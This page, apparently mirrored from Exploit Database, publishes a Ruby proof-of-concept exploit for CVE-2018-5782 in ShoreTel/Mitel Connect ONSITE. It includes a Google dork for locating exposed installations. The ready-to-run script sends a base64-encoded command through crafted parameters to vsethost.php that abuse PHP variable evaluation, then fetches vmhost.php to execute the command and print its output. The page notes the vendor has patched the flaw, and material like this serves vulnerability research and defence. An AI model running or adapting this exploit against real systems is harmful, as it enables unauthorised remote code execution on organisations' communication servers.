ShoreTel / Mitel Connect ONSITE 19.49.5200.0 – Remote Code Execution

• Exploit Database
• 142 阅读

• 作者： twosevenzero
  日期： 2019-01-16
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/46174/
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  # Exploit Title: ShoreTel / Mitel Connect ONSITE ST14.2 Remote Code Execution # Google Dork: +"Public" +"My Conferences" +"Personal Library" +"My Profile" +19.49.5200.0 # Date: 01-01-2019 # Exploit Author: twosevenzero # Vendor Homepage: https://www.mitel.com/ # Version: 19.49.5200.0 (and very likely many others prior and after) # CVE : CVE-2018-5782 ( https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5782)   Description =========== There are multiple vulnerabilities in ShoreTel/Mitel Connect ONSITE ST 14.2 which, when chained together, result in remote code execution in the context of the running service. The vendor was contacted by Jared McLaren of SecureWorks in early 2018 but a proof of concept was not released. I had access to a single device during the development of this exploit. As such, your system paths may be different and you may need to edit this script to fit your needs.   Solution ======== The vendor has released a response stating that the newest versions are not affected. Please see their response for upgrade instructions.   https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-18-0004   #!/usr/bin/env ruby   require "base64" require "methadone" require "faraday"   include Methadone::Main include Methadone::CLILogging   main do |base_url,command|   cmd_b64 = Base64.strict_encode64(command.strip)   conn = Faraday.new(:url => base_url.strip) res = conn.get do |req| req.url "/scripts/vsethost.php", { :hostId => "system", :keyCode => "base64_decode", :meetingType => "{${gKeyCode}($gSessionDir)}", :sessionDir => cmd_b64, :swfServer => "{${gHostID}($gMeetingType)}", :server => "exec", :dir => "/usr/share/apache2/htdocs/wc2_deploy/scripts/" } end   rce = conn.get do |req| req.url "/scripts/vmhost.php" end   print rce.body.to_s end   version "0.1.0" description "Shoretel/Mitel Connect Onsite ST 14.2 Remote Code Execution PoC"   arg :base_url, "URL of vulnerable Connect Onsite ST 14.2 Installation." arg :command, "Command to run."   go!